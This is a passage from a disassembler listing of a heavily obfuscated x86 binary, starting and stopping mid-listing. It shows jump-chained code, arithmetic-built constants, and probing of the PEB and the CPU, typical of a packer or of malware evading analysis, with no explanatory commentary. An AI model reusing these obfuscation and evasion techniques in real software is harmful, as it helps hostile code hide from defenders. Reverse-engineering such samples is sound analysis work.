loc_427851 cmp dword ptr [eax], 0FFFFFFFFh mov ebx, [eax+4] mov eax, [eax] jnz loc_425DF7 jmp loc_42478A ; --------------------------------------------------------------------------- loc_425E10: ; CODE XREF: wto1jq8f:loc_424B3Dj xor eax, 0A6362327h jmp loc_42CD43 ; --------------------------------------------------------------------------- loc_425E1B: ; CODE XREF: wto1jq8f:00425B41j ; wto1jq8f:loc_42E629j cmp ebx, 69727943h jnz loc_4248DF jmp loc_429254 ; --------------------------------------------------------------------------- pop edx pop ecx pop ebx retn ; --------------------------------------------------------------------------- loc_425E30: ; CODE XREF: wto1jq8f:0042799Bj jmp loc_4296C0 ; =============== S U B R O U T I N E ======================================= sub_425E35 proc near ; CODE XREF: sub_429E77+2p ; FUNCTION CHUNK AT 0042AEFA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042EEE7 SIZE 00000013 BYTES push large dword ptr fs:0 mov large fs:0, esp jmp loc_42AEFA sub_425E35 endp ; sp-analysis failed ; --------------------------------------------------------------------------- test al, al jz loc_42E993 ; START OF FUNCTION CHUNK FOR sub_42EDB9 loc_425E50: ; CODE XREF: sub_42EDB9-4A3Ej jmp loc_42F355 ; END OF FUNCTION CHUNK FOR sub_42EDB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429281 loc_425E55: ; CODE XREF: sub_429281:loc_42E435j jz loc_428361 jmp loc_427D7D ; END OF FUNCTION CHUNK FOR sub_429281 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EDB9 loc_425E60: ; CODE XREF: sub_42EDB9:loc_4282E6j ; sub_42EDB9-25A8j ... jno loc_42E79E push 0F5D6BA5Ah pop eax sub eax, 9A0BFC06h xor eax, ds:4000F1h add eax, 506193D3h jmp loc_42746B ; END OF FUNCTION CHUNK FOR sub_42EDB9 ; --------------------------------------------------------------------------- or edi, eax jmp loc_4278BB ; --------------------------------------------------------------------------- locret_425E8A: ; CODE XREF: wto1jq8f:0042C382j retn ; --------------------------------------------------------------------------- jmp loc_42AF78 ; --------------------------------------------------------------------------- cmp edi, 1A961432h jmp loc_42F82A ; --------------------------------------------------------------------------- test eax, eax jnz loc_4279D2 jmp loc_42B722 ; --------------------------------------------------------------------------- loc_425EA8: ; CODE XREF: wto1jq8f:0042D4BCj xchg eax, [esp] pop eax add esp, 4 call near ptr sub_428310 ; START OF FUNCTION CHUNK FOR sub_429459 loc_425EB4: ; CODE XREF: sub_429459-2A16j jmp loc_42A04F ; END OF FUNCTION CHUNK FOR sub_429459 ; =============== S U B R O U T I N E ======================================= sub_425EB9 proc near ; DATA XREF: wto1jq8f:0042B617o push eax mov eax, [ebp-30h] loc_425EBD: ; CODE XREF: wto1jq8f:loc_427CD3j call sub_42E676 sub_425EB9 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42E676 loc_425EC2: ; CODE XREF: sub_42E676-4674j jmp near ptr sub_42CA3D ; END OF FUNCTION CHUNK FOR sub_42E676 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ADC7 loc_425EC7: ; CODE XREF: sub_42ADC7:loc_428802j jz loc_426BCD jmp loc_429898 ; END OF FUNCTION CHUNK FOR sub_42ADC7 ; --------------------------------------------------------------------------- loc_425ED2: ; CODE XREF: wto1jq8f:00425A87j ; wto1jq8f:loc_42A9C9j mov eax, 400h call sub_4243D7 mov [ebp-8], eax push offset loc_42B60F jmp locret_42861F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42660F loc_425EE9: ; CODE XREF: sub_42660F:loc_42D5E9j jo loc_4264C0 mov ebp, esp call sub_427A9E mov eax, ds:dword_42A73C call sub_42D765 mov esp, ebp pop ebp push ds:dword_42A73C jmp nullsub_32 ; END OF FUNCTION CHUNK FOR sub_42660F ; --------------------------------------------------------------------------- xor ebp, esi jmp sub_42C786 ; --------------------------------------------------------------------------- push eax push eax call near ptr sub_42A5C4 loc_425F1C: ; CODE XREF: wto1jq8f:00426F91j jmp loc_42B9A8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BFF loc_425F21: ; CODE XREF: sub_429BFF-2E4Ej jmp loc_42D2A2 ; END OF FUNCTION CHUNK FOR sub_429BFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426FD6 loc_425F26: ; CODE XREF: sub_426FD6+27B7j cpuid add [esi], eax xor [esi], ebx add [esi], ecx xor [esi], edx mov eax, 80000004h jmp loc_42EDF6 ; END OF FUNCTION CHUNK FOR sub_426FD6 ; --------------------------------------------------------------------------- loc_425F3A: ; CODE XREF: wto1jq8f:0042C8CCj cmp ebp, eax jmp loc_42DA0B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262F5 loc_425F41: ; CODE XREF: sub_4262F5+86D4j add edx, 258AD326h xchg edx, [esp+0] jmp loc_42B314 ; END OF FUNCTION CHUNK FOR sub_4262F5 ; =============== S U B R O U T I N E ======================================= sub_425F4F proc near ; CODE XREF: sub_42A4A5+7p ; sub_42628C+6ECAj ; FUNCTION CHUNK AT 004273AF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427EF6 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00428E9C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00429638 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429A43 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00429A4F SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00429F0A SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042AE44 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042B8D9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CF4B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E2D4 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042E744 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042EAC0 SIZE 00000017 BYTES xchg eax, [esp+0] loc_425F52: ; CODE XREF: wto1jq8f:0042ACBEj pop eax mov eax, ds:dword_42D5E0 or eax, eax jmp loc_42CF4B sub_425F4F endp ; sp-analysis failed ; --------------------------------------------------------------------------- locret_425F60: ; CODE XREF: wto1jq8f:loc_42D317j retn ; --------------------------------------------------------------------------- loc_425F61: ; CODE XREF: wto1jq8f:loc_4261C7j ; wto1jq8f:0042A6C8j call sub_424585 mov edx, 9E849D81h call sub_429165 push eax rol eax, 19h jmp loc_42B964 ; --------------------------------------------------------------------------- loc_425F79: ; DATA XREF: sub_42B5C9+6o pop ebx mov [edx], eax pop edx mov dword ptr [ebp-0Ch], 1 ; START OF FUNCTION CHUNK FOR sub_42CBD1 loc_425F84: ; CODE XREF: sub_42CBD1:loc_42D520j lea eax, [ebp-14h] jmp loc_426FAE ; END OF FUNCTION CHUNK FOR sub_42CBD1 ; --------------------------------------------------------------------------- loc_425F8C: ; CODE XREF: wto1jq8f:0042C8D9j add eax, edi ; START OF FUNCTION CHUNK FOR sub_42ADC7 loc_425F8E: ; CODE XREF: sub_42ADC7-1F5Ej add al, ah and eax, 7 mov [ebp-4], eax loc_425F96: ; CODE XREF: sub_42ADC7-5173j ; wto1jq8f:0042A8B5j jo loc_42C3A8 push offset loc_4293F0 jmp loc_42BBBE ; END OF FUNCTION CHUNK FOR sub_42ADC7 ; --------------------------------------------------------------------------- mov eax, [ebp-10h] jmp loc_42B97A ; --------------------------------------------------------------------------- loc_425FAE: ; CODE XREF: wto1jq8f:0042AC13j or [ecx+edx], al mov eax, [ebp-0Ch] call sub_428A19 jmp loc_426821 ; --------------------------------------------------------------------------- mov edx, [ebx+ecx] xor edx, [ebx+ecx+4] cmp edx, 7C61090Eh jz loc_429526 ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_425FD1: ; CODE XREF: sub_42DC5C-6911j ; sub_42DC5C+5Cj js loc_42950C or eax, eax jmp loc_428F11 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- db 8Bh ; ‹ db 40h ; @ db 68h ; h db 0A9h ; © db 70h ; p db 0 db 0 db 0 db 0Fh db 84h ; „ db 0BDh ; ½ db 0ECh ; ì db 0FFh db 0FFh db 0E9h ; é db 0C1h ; Á db 39h ; 9 db 0 db 0 ; --------------------------------------------------------------------------- push 2E285DE2h sbb edx, 341D7FCCh sbb esi, 2D048CCCh ; START OF FUNCTION CHUNK FOR sub_4284EC loc_426002: ; CODE XREF: wto1jq8f:loc_42832Dj ; sub_4284EC:loc_42A18Cj call sub_424585 jmp loc_42ACCA ; END OF FUNCTION CHUNK FOR sub_4284EC ; --------------------------------------------------------------------------- locret_42600C: ; CODE XREF: wto1jq8f:loc_424FDDj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ADC7 loc_42600D: ; CODE XREF: sub_42ADC7+2134j jmp sub_42BEF6 ; END OF FUNCTION CHUNK FOR sub_42ADC7 ; =============== S U B R O U T I N E ======================================= sub_426012 proc near ; DATA XREF: sub_4293C8+7o ; FUNCTION CHUNK AT 00425B1F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042635E SIZE 0000000A BYTES push ecx mov eax, esp push 0 mov edx, esp jmp loc_42635E sub_426012 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CF6A loc_42601E: ; CODE XREF: sub_42CF6A-8E30j xor edi, ebp loc_426020: ; CODE XREF: wto1jq8f:loc_42E217j push offset loc_42C5E7 jmp loc_428403 ; END OF FUNCTION CHUNK FOR sub_42CF6A ; --------------------------------------------------------------------------- loc_42602A: ; CODE XREF: wto1jq8f:0042CD57j jz loc_4269B2 jmp loc_42D0A2 ; --------------------------------------------------------------------------- loc_426035: ; CODE XREF: wto1jq8f:0042744Bj jmp loc_4248DF ; --------------------------------------------------------------------------- sub eax, esi cdq pushf jmp loc_4269AA ; --------------------------------------------------------------------------- pop ecx mov [ebp-20h], eax jmp loc_42C1CB ; --------------------------------------------------------------------------- push ebp call sub_427218 ; START OF FUNCTION CHUNK FOR sub_42BB8A loc_426052: ; CODE XREF: sub_42BB8A-39Fj jmp loc_42C10F ; END OF FUNCTION CHUNK FOR sub_42BB8A ; --------------------------------------------------------------------------- db 8Bh dd 0E850F845h, 35E2h, 0E9FFF883h, 8FE0h, 3C6E0CBAh db 0D3h ; =============== S U B R O U T I N E ======================================= sub_42606D proc far ; CODE XREF: sub_42D1A8-B4Dp arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 004243F6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042444C SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00425A40 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00428CE4 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00428D3C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00429561 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429599 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042B507 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C29A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042CC45 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042E8FD SIZE 00000013 BYTES mov [esp+0], edi pop edi adc edx, [esp-8+arg_8] add esp, 8 mov [ebp-4], eax push 0EBE66D80h pop eax jmp loc_425A40 sub_42606D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_426086 proc near ; CODE XREF: wto1jq8f:0042EDD7p xchg edi, [esp+0] pop edi add eax, 7A0357DCh push offset loc_424A23 jmp nullsub_151 sub_426086 endp ; --------------------------------------------------------------------------- mov eax, [ebp-8] push edx push 0D88E3D38h pop edx jmp loc_428933 ; =============== S U B R O U T I N E ======================================= sub_4260A9 proc near ; CODE XREF: sub_425CE2+Ep ; sub_42750A+B1Fj ; FUNCTION CHUNK AT 00428688 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429861 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00429C79 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042EC9D SIZE 00000017 BYTES xchg eax, [esp+0] pop eax add esp, 8 mov eax, [eax] add eax, [ebp-4] call sub_42FC85 jmp loc_429C79 sub_4260A9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429471 loc_4260BF: ; CODE XREF: sub_429471+2EFCj jnp loc_424958 loc_4260C5: ; CODE XREF: sub_429471:loc_42CD28j push 75500D9Dh add [esp+4+var_4], 8AAFF263h push offset loc_42B089 jmp loc_429612 ; END OF FUNCTION CHUNK FOR sub_429471 ; =============== S U B R O U T I N E ======================================= sub_4260DB proc near ; DATA XREF: sub_42A59B+3o ; FUNCTION CHUNK AT 00425D4A SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00426C8A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00426DE5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004284C9 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 004288B6 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042B8BB SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042C238 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0042D54B SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042D98D SIZE 00000005 BYTES add esp, 0FFFFFD38h push 7D85B001h pop eax or eax, 46E51604h jnz loc_42B8BB loc_4260F3: ; CODE XREF: sub_42A197-383Aj jno loc_426C8A lea eax, [ebp-20h] mov dword ptr [eax], 70736957h lea eax, [ebp-1Ch] mov dword ptr [eax], 646E6957h lea eax, [ebp-18h] jmp loc_42D98D sub_4260DB endp ; --------------------------------------------------------------------------- db 99h dd 0FFFF4FE9h db 0FFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A617 loc_426119: ; CODE XREF: sub_42A617-429Aj setz al jmp loc_42F221 ; END OF FUNCTION CHUNK FOR sub_42A617 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_426121: ; CODE XREF: sub_426535:loc_4275E2j mov eax, [ebp+8] call sub_42FBFD loc_426129: ; CODE XREF: sub_429642+1j jmp loc_424FD1 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- loc_42612E: ; CODE XREF: wto1jq8f:00427713j jmp locret_42A2AC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42669E loc_426133: ; CODE XREF: sub_42669E+8207j js loc_427886 xor ebp, 6EC8B4EEh jmp loc_426706 ; END OF FUNCTION CHUNK FOR sub_42669E ; =============== S U B R O U T I N E ======================================= sub_426144 proc near ; CODE XREF: sub_429281:loc_4240CDp ; wto1jq8f:00427AF4j ... mov [esp+0], ebx pop ebx mov eax, large fs:30h add eax, 20h mov eax, [eax] jmp loc_42DDCC sub_426144 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_426159: ; CODE XREF: wto1jq8f:loc_42C97Dj jnz loc_42F104 jmp loc_42D60D ; --------------------------------------------------------------------------- mov eax, edx ; =============== S U B R O U T I N E ======================================= sub_426166 proc near ; CODE XREF: sub_424DA0+6p ; FUNCTION CHUNK AT 0042BEAE SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx mov eax, ds:dword_42CAE0 push offset sub_42DA7A jmp loc_42BEAE sub_426166 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425944 loc_42617A: ; CODE XREF: sub_425944:loc_42E882j jle loc_4245A1 mov eax, [ebp-4] xor edx, edx call sub_42F135 ; END OF FUNCTION CHUNK FOR sub_425944 ; =============== S U B R O U T I N E ======================================= sub_42618A proc near ; CODE XREF: wto1jq8f:loc_42A9A1p ; FUNCTION CHUNK AT 00427046 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00428FBC SIZE 00000005 BYTES xchg esi, [esp+0] pop esi push edi push 7A4D9B05h pop edi or edi, 5AB9FECDh add edi, 8544AD17h jmp loc_428FBC sub_42618A endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_4261A6: ; CODE XREF: wto1jq8f:0042BCB6j add eax, 90C05E38h push 0BE36BFAAh loc_4261B1: ; CODE XREF: wto1jq8f:loc_42EAB5j mov eax, 100h push edx jmp loc_429CD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D343 loc_4261BC: ; CODE XREF: sub_42D343:loc_42E5DCj push ecx push offset sub_42D753 jmp loc_42EA2C ; END OF FUNCTION CHUNK FOR sub_42D343 ; --------------------------------------------------------------------------- loc_4261C7: ; CODE XREF: wto1jq8f:loc_4281D8j jz loc_425F61 jmp loc_42A6B1 ; --------------------------------------------------------------------------- loc_4261D2: ; CODE XREF: wto1jq8f:loc_42B146j jz loc_425D8B jmp loc_426A4F ; --------------------------------------------------------------------------- mov edx, 0BE8CE1B7h call sub_429165 mov [ebp-4], eax cmp dword ptr [ebp-4], 0 ; START OF FUNCTION CHUNK FOR sub_427143 loc_4261EE: ; CODE XREF: sub_427143+475Ej jz loc_425BE9 jmp loc_42E7AB ; END OF FUNCTION CHUNK FOR sub_427143 ; --------------------------------------------------------------------------- loc_4261F9: ; DATA XREF: sub_429AE8-4EC4o add eax, 6F78DD96h mov eax, [eax] push eax push edx push 5C60876Ah pop edx or edx, 0D3E51FA1h add edx, 205CE1CAh jmp loc_42AC67 ; =============== S U B R O U T I N E ======================================= sub_42621A proc near ; CODE XREF: wto1jq8f:0042B7FFj ; wto1jq8f:0042BF26p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042C0AF SIZE 00000019 BYTES xchg eax, [esp+0] pop eax push eax mov eax, [ebp+8] jmp loc_42C0AF sub_42621A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4243D7 loc_426227: ; CODE XREF: sub_4243D7:loc_42A63Dj add eax, 0A462A551h xchg eax, [esp+8+var_8] add [esp+8+var_8], 5B9D5EB9h call sub_4295AA push eax call sub_42E833 jmp nullsub_109 ; END OF FUNCTION CHUNK FOR sub_4243D7 ; --------------------------------------------------------------------------- jb loc_428C7D loc_42624D: ; CODE XREF: wto1jq8f:loc_428D27j push edi push 0FDB07888h pop edi rol edi, 3 jmp loc_42F36A ; --------------------------------------------------------------------------- push offset loc_42B7B8 jmp locret_4274AD ; --------------------------------------------------------------------------- loc_426266: ; CODE XREF: wto1jq8f:00424F64j div dword ptr [ebp-8] mov [ebp-0Ch], edx jmp near ptr loc_42EE6C+2 ; --------------------------------------------------------------------------- db 0C1h, 0C2h, 5 dd 0C2C1E201h, 0FC558905h, 0FFE870E9h db 0FFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B276 loc_426281: ; CODE XREF: sub_42B276-242Ej jz loc_4281AB jmp loc_427101 ; END OF FUNCTION CHUNK FOR sub_42B276 ; =============== S U B R O U T I N E ======================================= sub_42628C proc near ; CODE XREF: wto1jq8f:0042D0AEj ; sub_42459B:loc_42D403p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00424533 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424714 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042701C SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042ABA0 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042B823 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042CCC8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042CF73 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0042D14A SIZE 00000011 BYTES xchg edx, [esp+0] pop edx mov eax, [ebp-4] movzx eax, byte ptr [eax] shr eax, 1 cmp eax, 66h jnz loc_42CF73 jmp loc_42B823 sub_42628C endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_4262A6: ; CODE XREF: wto1jq8f:00426E89j call sub_42CD35 ; START OF FUNCTION CHUNK FOR sub_424BAC loc_4262AB: ; CODE XREF: sub_424BAC+14j jmp loc_4275E2 ; END OF FUNCTION CHUNK FOR sub_424BAC ; --------------------------------------------------------------------------- loc_4262B0: ; CODE XREF: wto1jq8f:0042925Ej jg loc_4284A6 and ecx, 0CD442F90h shr eax, 1Ch xor eax, ebx jmp loc_42DE3B ; --------------------------------------------------------------------------- shl esi, 12h jmp loc_427A4D ; --------------------------------------------------------------------------- dw 1C89h dd 4895B24h, 0F8458B24h, 9851E850h, 0CBE90000h db 9Ah, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424585 loc_4262E3: ; CODE XREF: sub_424585:loc_428840j call sub_42E6D9 mov eax, [ebp+var_4] push offset loc_42E6D5 jmp loc_425A31 ; END OF FUNCTION CHUNK FOR sub_424585 ; =============== S U B R O U T I N E ======================================= sub_4262F5 proc near ; CODE XREF: wto1jq8f:004264BAj ; wto1jq8f:loc_42B698p ; FUNCTION CHUNK AT 0042475C SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00425F41 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 004273E5 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 004298ED SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00429D23 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042B11F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042E9B8 SIZE 00000016 BYTES xchg ebx, [esp+0] pop ebx push 4A032D73h pop eax add eax, 0B5FCD28Eh xor edx, edx jmp loc_4298ED sub_4262F5 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_116. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42630E: ; CODE XREF: wto1jq8f:004294C2j jmp locret_428EE9 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426313 proc near ; CODE XREF: sub_42DFE5j ; FUNCTION CHUNK AT 00424276 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004268BB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004271F6 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00427660 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00428BDF SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00429160 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004296DE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042B096 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042DC52 SIZE 0000000A BYTES push ebp mov ebp, esp push ecx mov esp, ebp jmp loc_427660 sub_426313 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov edx, 0CAAB96A5h call sub_425B46 loc_426328: ; CODE XREF: wto1jq8f:00426513j jmp loc_42ADBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4264F4 loc_42632D: ; CODE XREF: sub_4264F4:loc_42D3B4j rol edx, 1Bh and edx, 0A80E9ECCh call near ptr sub_429281 loc_42633B: ; CODE XREF: wto1jq8f:004279EEj jz loc_42AF4C loc_426341: ; CODE XREF: wto1jq8f:0042860Bj jmp loc_4244C3 ; END OF FUNCTION CHUNK FOR sub_4264F4 ; --------------------------------------------------------------------------- ror ecx, 1Dh jmp loc_42AF40 ; --------------------------------------------------------------------------- loc_42634E: ; CODE XREF: wto1jq8f:0042B084j sbb edx, ebx ; =============== S U B R O U T I N E ======================================= sub_426350 proc near ; CODE XREF: sub_42A35F+Ap ; FUNCTION CHUNK AT 004278D6 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00427C8D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429F95 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0042E9D4 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042FD7E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042FD9D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042FDB4 SIZE 0000003B BYTES mov [esp+0], ecx pop ecx xor eax, eax mov [ebp-0Ch], eax jmp loc_429F95 sub_426350 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426012 loc_42635E: ; CODE XREF: sub_426012+7j push offset loc_424988 jmp loc_425B1F ; END OF FUNCTION CHUNK FOR sub_426012 ; --------------------------------------------------------------------------- loc_426368: ; CODE XREF: wto1jq8f:0042AA7Aj test esi, ebx jmp loc_42B5F0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A617 loc_42636F: ; CODE XREF: sub_42A617+Ej mov eax, [ebp+8] push eax mov eax, [ebp+8] cmp dword ptr [eax-1Ch], 0F6h jmp loc_426119 ; END OF FUNCTION CHUNK FOR sub_42A617 ; --------------------------------------------------------------------------- locret_426382: ; CODE XREF: wto1jq8f:0042D46Ej retn ; --------------------------------------------------------------------------- loc_426383: ; CODE XREF: wto1jq8f:0042D2D8j jmp loc_42AB67 ; --------------------------------------------------------------------------- loc_426388: ; CODE XREF: wto1jq8f:0042B53Ej jmp sub_4243D7 ; --------------------------------------------------------------------------- loc_42638D: ; CODE XREF: wto1jq8f:00428959j jmp loc_42802E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424F23 loc_426392: ; CODE XREF: sub_424F23+9j add edx, ebx rol edx, 5 xor edx, ecx rol edx, 5 push offset loc_427E3A jmp loc_4269E5 ; END OF FUNCTION CHUNK FOR sub_424F23 ; =============== S U B R O U T I N E ======================================= sub_4263A6 proc near ; CODE XREF: wto1jq8f:loc_424417j ; DATA XREF: wto1jq8f:00424378o ; FUNCTION CHUNK AT 0042A43D SIZE 00000014 BYTES pop ebp loc_4263A7: ; CODE XREF: wto1jq8f:loc_425043j call sub_426D4F loc_4263AC: ; CODE XREF: wto1jq8f:00424894j mov edi, eax jmp loc_42A43D sub_4263A6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4263B3 proc near ; CODE XREF: sub_4267AE:loc_427246p ; sub_429BD3:loc_42D3E8j ; FUNCTION CHUNK AT 004246B4 SIZE 00000010 BYTES push ebp mov ebp, esp add esp, 0FFFFFF90h push ebx push 3E6B4EA4h pop ebx or ebx, 104BFFC1h jmp loc_4246B4 sub_4263B3 endp ; --------------------------------------------------------------------------- loc_4263CB: ; CODE XREF: wto1jq8f:00427686j mov esp, ebp mov ebp, offset nullsub_125 xchg ebp, [esp] retn ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_125. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_4263D7: ; CODE XREF: wto1jq8f:00427D32j mov [esp], ecx pop ecx mov ds:dword_42CAEC, eax retn ; --------------------------------------------------------------------------- loc_4263E2: ; CODE XREF: wto1jq8f:00428F0Cj jmp locret_42B20F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426950 loc_4263E7: ; CODE XREF: sub_426950:loc_4248CDj ; sub_42A88D+Ej ror eax, 0Bh push eax jmp loc_42597B ; END OF FUNCTION CHUNK FOR sub_426950 ; --------------------------------------------------------------------------- push 0 push 80h push 0CB0E4E5Ah xor dword ptr [esp], 0CB0E4E59h push ecx pushf push 2FA80D1Dh pop ecx jmp loc_429E83 ; --------------------------------------------------------------------------- locret_426410: ; CODE XREF: wto1jq8f:0042DB76j retn ; --------------------------------------------------------------------------- cdq jmp sub_42E4EA ; --------------------------------------------------------------------------- loc_426417: ; CODE XREF: wto1jq8f:0042A4DAj jz loc_42FF03 jmp loc_42F665 ; --------------------------------------------------------------------------- loc_426422: ; CODE XREF: wto1jq8f:004277EFj pushf jns loc_42ADBC sub esi, edi push edi jmp loc_42A34B ; --------------------------------------------------------------------------- locret_426431: ; CODE XREF: wto1jq8f:00429C80j retn ; --------------------------------------------------------------------------- loc_426432: ; CODE XREF: wto1jq8f:0042847Fj jmp near ptr loc_42F390+6 ; =============== S U B R O U T I N E ======================================= sub_426437 proc near ; CODE XREF: sub_42CF00+4p call sub_425C40 loc_42643C: ; CODE XREF: wto1jq8f:0042A35Aj jmp loc_4287C2 sub_426437 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_40. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_426442: ; CODE XREF: wto1jq8f:0042AC90j jmp loc_42E1E9 ; --------------------------------------------------------------------------- loc_426447: ; CODE XREF: wto1jq8f:00425DE4j ror eax, 0Eh push eax retn ; --------------------------------------------------------------------------- loc_42644C: ; CODE XREF: wto1jq8f:0042EAE8j jmp loc_42F0C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C4E2 loc_426451: ; CODE XREF: sub_42C4E2-2136j jmp loc_429417 ; END OF FUNCTION CHUNK FOR sub_42C4E2 ; =============== S U B R O U T I N E ======================================= sub_426456 proc near ; CODE XREF: sub_4240DC+1BFCp ; FUNCTION CHUNK AT 00426ACF SIZE 00000005 BYTES push ebp push offset loc_424D40 jmp loc_426ACF sub_426456 endp ; =============== S U B R O U T I N E ======================================= sub_426461 proc near ; CODE XREF: wto1jq8f:loc_429C4Ap ; FUNCTION CHUNK AT 0042E98E SIZE 00000005 BYTES xchg esi, [esp+0] pop esi jz loc_42F9B4 call sub_42B5E4 jnz loc_42F9B4 mov eax, ebx jmp loc_42E98E sub_426461 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42647D: ; CODE XREF: wto1jq8f:loc_42E0A8j mov ecx, [ebx+3Ch] jmp loc_42F46F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DB52 loc_426485: ; CODE 